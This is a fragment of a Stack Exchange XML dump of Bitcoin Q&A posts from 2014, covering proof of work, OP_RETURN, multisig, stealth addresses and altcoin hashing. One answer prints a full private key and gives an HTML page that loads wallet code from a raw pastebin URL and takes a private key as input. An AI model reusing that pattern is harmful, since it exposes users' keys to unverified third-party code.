Tags="|transactions|proof-of-work|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29797" PostTypeId="2" ParentId="29796" CreationDate="2014-07-31T12:07:47.530" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I think I understand why proof of work is needed to verify&#xA;  transactions (essentially to prevent spoofing/double spending etc).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is right.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the proof of work for verifying a transaction is the same as for&#xA;  mining a new bitcoin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is right too.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if this is the case, then it becomes harder and harder to verify&#xA;  transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends it can become harder as it can become easier. But whatever happens there is no issue with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner generates blocks which header have the lowest possible sha256 hash until he finds one which sha256 is lower than the Target. This block will be valid and can then be included in the blockchain. Inside of the block the first transaction is different from the others because it hasn't a valid input and it has as transaction output an address controlled by the miner. This address will receive the block reward(new bitcoins that are generated with the block) as well as the transaction fees of&#xA;the transactions that were included in the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now actually it's true that generating new blocks become more and more difficult because there are more and more miners with more and more sophisticated mining material.&#xA;This is why the target becomes more and more lower in order to maintain an average time between each generated block of about 10minutes.&#xA;But if miners will start to stop mining bitcoin the target will increase and mining will become easier again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post will help you to understand a little bit better what are the different components of a block.&#xA;&lt;a href=&quot;https://web.archive.org/web/20130727094127/http://james.lab6.com/2012/01/12/bitcoin-285-bytes-that-changed-the-world&quot; rel=&quot;nofollow&quot;&gt;Bitcoin: 285 bytes that changed the world&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-31T14:06:51.150" LastActivityDate="2014-07-31T14:06:51.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29798" PostTypeId="1" CreationDate="2014-07-31T12:42:46.930" Score="1" ViewCount="39" Body="&lt;p&gt;I have recently migrated machine. I used the Apple Migration Wizard and when it was finished my new machine's copy of Multibit appears to have my BTC within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next task is to wipe the old machine, so I want to be sure that everything is in order before I do that. I just opening Multibit enough to ensure this? Are there anymore checks I can do?&lt;/p&gt;&#xA;" OwnerUserId="18814" LastActivityDate="2014-07-31T12:42:46.930" Title="Ensure Wallet consistency" Tags="|wallet|security|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29799" PostTypeId="1" AcceptedAnswerId="29800" CreationDate="2014-07-31T13:35:22.470" Score="1" ViewCount="579" Body="&lt;p&gt;Is it possible to include a file's checksum in a transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not necessarily in Bitcoin's current blockchain due to the now limited OP_RETURN feature, but just in the blockchain/transaction concept in general.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="1405" LastEditDate="2014-08-01T15:19:08.457" LastActivityDate="2014-08-01T15:19:08.457" Title="Include checksum in a transaction" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29800" PostTypeId="2" ParentId="29799" CreationDate="2014-07-31T13:43:08.183" Score="2" Body="&lt;p&gt;Yes you can. You can use OP_RETURN of course but there are also other ways, some &quot;hacks&quot; like adding an transaction output that refers to an Bitcoin address that instead of being the hash of your public key is the hash of your file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what Garvin Aderson said about OP_RETURN&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why 80 bytes? Because we imagine that most uses will be to hash some larger data (perhaps a contract of some sort) and then embed the hash plus maybe a little bit of metadata into the output. But it is not large enough to do something silly like embed images or tweets.&#xA;  Why allow any bytes at all? Because we can’t stop people from adding one or more ordinary-looking-but-unspendable outputs to their transactions to embed arbitrary data in the blockchain.&#xA;  What do I mean by “immediately prune-able?”  The form of the up-to-80-byte transaction output (“OP_RETURN ”) is such that it can never be used as an input for another transaction– so it can theoretically be forgotten by everybody except for machines that want to keep a full record of every single transaction (“archive nodes”). That is a big improvement over the various hacks people are using today to associate data with their transactions, and will be more important in the future when we implement code that saves disk space by keeping only unspent transaction outputs and not every old block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source &lt;a href=&quot;http://bitcoinexaminer.org/gavin-andresen-talks-about-the-0-9-release-what-is-finished-and-what-still-needs-to-be-done/&quot; rel=&quot;nofollow&quot;&gt;Gavin Andresen talks about the 0.9 release&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-31T16:15:41.917" LastActivityDate="2014-07-31T16:15:41.917" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="29801" PostTypeId="2" ParentId="29796" CreationDate="2014-07-31T14:49:52.577" Score="1" Body="&lt;p&gt;The miner (the person who does the proof of work) doesn't have to choose between verifying transactions or mining new coins. He does work to find blocks, and with each block he simultaneously verifies transactions and mints new coins. The added cost of including transactions in the block is negligible.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-07-31T14:49:52.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29802" PostTypeId="2" ParentId="29796" CreationDate="2014-07-31T15:01:03.933" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Proof_of_work&lt;/a&gt;:&#xA;&quot;A proof of work is a piece of data which was difficult (costly, time-consuming) to produce so as to satisfy certain requirements. It must be trivial to check whether data satisfies said requirements.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining bitcoins involves grouping a bunch of pending transactions together, appending a random number, and computing the hash value until you get one with a lot of zeros at the beginning.  Since hashes are essentially random, creating one with a lot of zeros means that you probably tried a lot of random numbers before you got one that resulted in the hash with a lot of zeros.  Showing the transaction list, the random number, and the hash with a lot of zeros is &quot;proof&quot; that you did a lot of &quot;work.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Validating transactions is very easy, since you just have to recompute the hash with the one number that &quot;works&quot; and check that it has a lot of zeros.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining gets harder and harder (requires more zeros) as more people mine, but if you are successful you get 25 BTC.  Verifying transactions stays easy no matter how hard it is to mine, but no Bitcoins are awarded for this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One point of confusion is that you typically validate as part of mining (as Meni Rosenfeld commented), but you can also validate without mining, which is what most Bitcoin wallets do to be sure they display the correct amount in your wallet.&lt;/p&gt;&#xA;" OwnerUserId="18815" LastActivityDate="2014-07-31T15:01:03.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29803" PostTypeId="2" ParentId="29792" CreationDate="2014-07-31T15:12:16.450" Score="0" Body="&lt;p&gt;You hash the header.  Format is here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&#xA;The body contains the transactions.&#xA;Here's the Bitcoin transaction format:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18815" LastActivityDate="2014-07-31T15:12:16.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29804" PostTypeId="2" ParentId="29783" CreationDate="2014-07-31T15:23:50.560" Score="1" Body="&lt;p&gt;My answer will be based on my experience as I made no benchmark to prove what I say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I think that if you have a correct machine something like a i5 and 4GB or ram performance shouldn't be an issue on both platform (If you run Windows Server 2008 this should be the case!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for If performance is really important for you I would clearly advise Linux for several reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin uses a lot of open source dependencies like leveldb, Boost or QT.&#xA;This libraries are mainly primarily coded for Unix environments and also probably optimized for them.&#xA;For example I worked with leveldb and there is no official release of leveldb work Windows. You have to path it by your own to get it working on windows.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;leveldb (the database that stores the unspend output) may use a lot of ram 1GB or more. The advantage of Linux is that the operating system doesn't consume a lot of RAM (About 500mb for Debian more then 1GB for Windows 7 after start).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generally you get better performances if you compile a program from it sources instead of installing it from it's binaries. &#xA;This is possible as well on Linux as on Windows but compiling bitcoin on Linux is much easier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I personally run a bitcoin server on a Debian 6 machine with an Intel Atom processor and 2GB of ram. It is running fine.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-31T15:29:15.943" LastActivityDate="2014-07-31T15:29:15.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29805" PostTypeId="2" ParentId="29792" CreationDate="2014-07-31T15:26:54.147" Score="2" Body="&lt;p&gt;You do not need to calculate previous transaction hash, because it is already known. &#xA;To spend the previous output you just have to know&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tx hash&lt;/li&gt;&#xA;&lt;li&gt;output index in this tx&lt;/li&gt;&#xA;&lt;li&gt;output value&lt;/li&gt;&#xA;&lt;li&gt;output script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;plus you should choose&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fee&lt;/li&gt;&#xA;&lt;li&gt;new address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then create some byte data and sign it with appropriate private key &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good manual you can find here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How to redeem a basic Tx?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-07-31T15:26:54.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29806" PostTypeId="2" ParentId="22729" CreationDate="2014-07-31T15:51:26.667" Score="0" Body="&lt;p&gt;The current multisig solutions are all quite awkward - they don't handle transmitting partially signed transactions too well. But you might want to read up on Armory: &lt;a href=&quot;http://www.coindesk.com/armorys-lockbox-multisig-storage-escrow/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/armorys-lockbox-multisig-storage-escrow/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;a href=&quot;http://orisi.org&quot; rel=&quot;nofollow&quot;&gt;Orisi oracles&lt;/a&gt; for that. Every person &quot;holding&quot; a key would be running an oracle node, and funds would be stored and withdrawn by sending requests from the client. Orisi is now in Alpha, and it would probably a month of programming for one programmer to do it this way, but it's doable and you could probably recruit some help on &lt;a href=&quot;http://orisi.net&quot; rel=&quot;nofollow&quot;&gt;the forum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-07-31T15:51:26.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29807" PostTypeId="2" ParentId="29756" CreationDate="2014-07-31T16:54:12.793" Score="2" Body="&lt;p&gt;''Which one is a more desirable feature in an altcoin?'' that's not an easy question and the answer depends on the philosophy you impart in your coin. X11 is in essence a PoW with 11 hash functions (blake, bmw, groestl, jh, keccak, skein, luffa, cubehash, shavite, simd, echo) if one of them gets cracked there's still 10 more to deal with. It does allow for reduced energy draw and heat output from GPU but that's pretty much all I could say about it's cons. The downside of X11 algorithm is in that it's not as long-term as some expect it to be. The experts claim that it will take a maximum of two years before this algorithm gets ASIC’d. Even though it’s complex, X11 is one of the mining algorithms which isn't relying on hardware memory hence it's much more simple to implement on ASICs. In my opinion all PoW algorithms need to use memory bound functions so if you are thinking long term I'd suggest you go with CryptoNight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CryptoNight relies on random access to the slow memory. And a megabyte of internal memory is almost unacceptable for the modern ASICs. So far quite a few coins have been using this algorithm, all of them are CryptoNote-based. Bytecoin (BCN) is probably the most prominent one since it was the first coin to have built its architecture around the CryptoNote protocol. Bytecoin has been around since 2012 but from what I've heard the development started as early as 2009. It is a CPU-minable coin with anonymous transactions feature and immunity to ASICs. You could try mining Bytecoin with a GPU but the coefficient of performance would be comparable to CPU-mining. Bytecoin is doing pretty well and there are other coins with CryptoNight algorithm; Fantomcoin, Quazarcoin or Monero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically you could implement X11 and CryptoNight together in a cryptocoin but two years later you'll inevitably face the ASIC problem for your X11 PoW. So I don't really see any practical use of such a combination. &lt;/p&gt;&#xA;" OwnerUserId="18817" LastActivityDate="2014-07-31T16:54:12.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29810" PostTypeId="1" AcceptedAnswerId="29812" CreationDate="2014-07-31T19:15:55.283" Score="2" ViewCount="420" Body="&lt;p&gt;I am looking for an example transaction on Bitcoin's blockchain using stealth addressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am brainstorming how stealth addresses would be used amongst normal addresses in combination (whereas &lt;a href=&quot;http://monero.cc/&quot; rel=&quot;nofollow&quot;&gt;Monero&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/CryptoNote&quot; rel=&quot;nofollow&quot;&gt;CryptoNote&lt;/a&gt; protocols so far only use stealth addresses).&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="1405" LastEditDate="2014-08-01T15:18:05.683" LastActivityDate="2014-08-01T15:18:05.683" Title="Stealth address transaction example on Bitcoin's blockchain" Tags="|stealth-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29811" PostTypeId="2" ParentId="1389" CreationDate="2014-07-31T19:54:02.997" Score="1" Body="&lt;p&gt;How they are created is fully documented &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;on wiki&lt;/a&gt;: &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In Java&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Include &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj/releases/latest&quot; rel=&quot;nofollow&quot;&gt;the jar of bitcoinj Java library&lt;/a&gt; in your classpath&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import com.google.bitcoin.core.*;&#xA;&#xA;NetworkParameters params = new MainNetParams();&#xA;&#xA;String publicAddress = new DumpedPrivateKey(params,&#xA;        &quot;KzzuoFPzrPhD55icpAi7idW7z7tH8xSYo3xqTcZm3fHk3AzVxpoP&quot;).getKey()&#xA;        .toAddress(params).toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The result is &lt;code&gt;17vFi4XjRibQPCktoMcGhZ3DmnG85r1VHE&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In JavaScript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt; javascript library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var key = new Bitcoin.ECKey('KzzuoFPzrPhD55icpAi7idW7z7tH8xSYo3xqTcZm3fHk3AzVxpoP');&#xA;console.log(key.getBitcoinAddress());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is &lt;code&gt;17vFi4XjRibQPCktoMcGhZ3DmnG85r1VHE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note 1: Before, I did &lt;code&gt;bitcoin-cli getnewaddress&lt;/code&gt; and &lt;code&gt;bitcoin-cli dumpprivkey &amp;lt;pubkey&amp;gt;&lt;/code&gt; to get the key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 2: To make things even more easy, under your directory &lt;a href=&quot;https://github.com/pointbiz/bitaddress.org/tree/master/src&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pointbiz/bitaddress.org/tree/master/src&lt;/a&gt; just run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat array.map.js cryptojs.js cryptojs.sha256.js cryptojs.pbkdf2.js cryptojs.hmac.js cryptojs.aes.js cryptojs.blockmodes.js cryptojs.ripemd160.js securerandom.js ellipticcurve.js secrets.js biginteger.js qrcode.js bitcoinjs-lib.js bitcoinjs-lib.base58.js bitcoinjs-lib.address.js bitcoinjs-lib.ecdsa.js bitcoinjs-lib.eckey.js bitcoinjs-lib.util.js crypto-scrypt.js &amp;gt; all.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you get a 174kb file that is all you need to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 3: If you want to get this file (from commit f6c6bbe53df28c1bf51a6216f02ad1467b36c9f7) look here: &lt;a href=&quot;http://pastebin.com/raw.php?i=rH8V2j9H&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/raw.php?i=rH8V2j9H&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The full functional example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://pastebin.com/raw.php?i=rH8V2j9H&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;form onsubmit=&quot;alert(new Bitcoin.ECKey(document.getElementById('pkey').value).getBitcoinAddress());&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            Private key:&#xA;            &amp;lt;input id=&quot;pkey&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2014-08-20T03:59:05.403" LastActivityDate="2014-08-20T03:59:05.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29812" PostTypeId="2" ParentId="29810" CreationDate="2014-07-31T20:09:46.630" Score="3" Body="&lt;p&gt;You cannot tell them apart from transactions using ordinary addresses; they are exactly the same.  Any regular transaction you look at could have been created using a stealth address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I wrote in my answer &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29648/5757&quot;&gt;here&lt;/a&gt;, a &quot;stealth address&quot; is just one particular way of generating a unique address, known only to the payer and payee, to use for a transaction.  Once the unique address is created, the transaction itself is created just like any other.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-07-31T20:09:46.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29813" PostTypeId="1" CreationDate="2014-07-31T20:18:33.547" Score="2" ViewCount="1118" Body="&lt;p&gt;There are versions in python and some such things, but I need a C version (or at least C++).&#xA;I do have the sha256, RMD160 in C already, and those functions are called. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18821" LastActivityDate="2014-07-31T20:18:33.547" Title="Where can I find a C or C++ implementation of converting bitcoin privatekey to bitcoin public key and bitcoin address?" Tags="|private-key|public-key|address-generation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29814" PostTypeId="1" CreationDate="2014-07-31T20:36:37.737" Score="1" ViewCount="304" Body="&lt;p&gt;I'm making a PoW/PoS hybrid coin for fun (nobody will actually use it).  I already found the Merkle root and mined the genesis block and got the nonce and things like that.  I inserted them into the correct places (or so I thought) in main.cpp and main.h.  I also deleted the checkpoints from the coin I cloned from.  I now get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bool LoadBlockIndex(bool): Assertion `block.GetHash() == hashGenesisBlock' failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What should I do?  It does not make sense to me, as this error normally means that there is trouble related to mining the genesis block.  If anybody wants to see the source code, it's at GitHub:  &lt;a href=&quot;https://github.com/hale6666/kaluricoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/hale6666/kaluricoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18822" LastEditorUserId="18822" LastEditDate="2014-08-01T02:47:13.107" LastActivityDate="2014-08-01T02:47:13.107" Title="Making an altcoin (for fun, not to use), and after finding MerkleRoot and genesis block, I still get errors" Tags="|error|genesis-block|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29815" PostTypeId="1" CreationDate="2014-07-31T20:48:48.957" Score="17" ViewCount="9971" Body="&lt;p&gt;I went through the site but I don't see how &lt;a href=&quot;https://www.stellar.org/&quot;&gt;Stellar&lt;/a&gt; differs from Ripple. I see that there are differences in distribution, everything is made open source from day one and the company is non profit instead of for profit as in Ripple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both were co-founded by the same person and the technology seems to be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="195" LastEditDate="2015-01-05T11:05:59.230" LastActivityDate="2018-09-16T09:24:02.960" Title="What is the difference between Ripple and Stellar?" Tags="|ripple|stellar|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29816" PostTypeId="2" ParentId="29791" CreationDate="2014-07-31T22:53:46.773" Score="5" Body="&lt;p&gt;Even on testnet the difficulty is sufficiently high that it will take you a long time to mine anything using cpu. (Lots of people testing ASICs, presumably.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is probably &lt;a href=&quot;https://github.com/freewil/bitcoin-testnet-box&quot; rel=&quot;noreferrer&quot;&gt;Testnet in a box&lt;/a&gt;. Then you can cpu mine just by using ´setgenerate true´ in Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-31T22:53:46.773" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29818" PostTypeId="2" ParentId="19705" CreationDate="2014-08-01T04:30:23.040" Score="0" Body="&lt;p&gt;You can try Javaminer online. But its very slow and you're probably not going to be looking at much profit. But maybe profits aren't your main source of inspiration....&#xA;But ya you're gonna want Javaminer. If you have no client you're going to be mining with Java of some kind, I highly doubt you'd need any PHP&lt;/p&gt;&#xA;" OwnerUserId="18826" LastEditorUserId="20834" LastEditDate="2016-04-25T22:20:08.723" LastActivityDate="2016-04-25T22:20:08.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29819" PostTypeId="2" ParentId="29708" CreationDate="2014-08-01T04:39:59.713" Score="4" Body="&lt;p&gt;Sorry, my English is poor, I'll try to explain. Feel free to comment and ask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, terminology. There are no &quot;pay to pub key hash msig txs&quot;. There are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bare multisig outputs&lt;/li&gt;&#xA;&lt;li&gt;p2sh outputs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;bare multisig&lt;/strong&gt; output i create a list on [N] pubkeys and choose [M]. The output script will look like [push M] [push key1] [push key2]... [push keyN] [push N] [checkmultisig]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every person can check this set. If he has [M] keys he will be able to redeem this output. If he has less than [M] keys he will be able to partially sign the redeem transaction and pass it to another person (this passing step can not be done within bitcoin network, because nodes do not relay partially signed transactions). When the transaction gains at least [M] signatures it can be mined. Have a look to &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;p2sh&lt;/strong&gt; gives more functionality. I can write my own redeem script and calculate its checksum. To redeem p2sh output you should know the script itself (blockchain contains only the hash of it) and you should create scriptSig for it. Usually p2sh outputs used for multisig transactions, but there are exceptions. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=293382.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=293382.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;One more useful link: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions&quot;&gt;What are multi-signature transactions?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-08-01T08:10:14.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29820" PostTypeId="1" AcceptedAnswerId="29821" CreationDate="2014-08-01T06:23:47.443" Score="2" ViewCount="1232" Body="&lt;p&gt;Is there a Counterparty whitepaper? What about a specification?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="121614" LastEditDate="2022-10-18T20:16:56.380" LastActivityDate="2022-10-18T20:16:56.380" Title="Is there a Counterparty Whitepaper?" Tags="|counterparty|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29821" PostTypeId="2" ParentId="29820" CreationDate="2014-08-01T06:25:40.807" Score="1" Body="&lt;p&gt;There is a counterparty whitepaper: &lt;a href=&quot;https://github.com/CounterpartyXCP/Counterparty&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CounterpartyXCP/Counterparty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2014-08-01T06:25:40.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29822" PostTypeId="1" CreationDate="2014-08-01T07:25:54.817" Score="6" ViewCount="401" Body="&lt;p&gt;As we know bitcoin uses Proof of Work Concept and it introduces never ending long block chain and some other issues. Why is it not designed in a way to use consensus algorithms what ripple uses? What is reason for proposing the Proof of Work Concept when implementing the Bitcoin? Is there any special reason? or Is it a mistake happened when designing the Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="18827" LastActivityDate="2014-08-01T15:33:30.100" Title="What is the reason for using PoW in bitcoin?" Tags="|protocol|ripple|proof-of-work|consensus|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29823" PostTypeId="1" AcceptedAnswerId="29836" CreationDate="2014-08-01T09:30:02.027" Score="3" ViewCount="1542" Body="&lt;p&gt;Is the block nonce predictable in any way? It seems to be a proof of work on his own just like the block hash, but may a miner force a mined block to have a specific nonce? (if his hashrate allows him to)&lt;/p&gt;&#xA;" OwnerUserId="18370" LastActivityDate="2014-08-01T15:44:55.463" Title="Block nonce predictable" Tags="|blockchain|nonce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
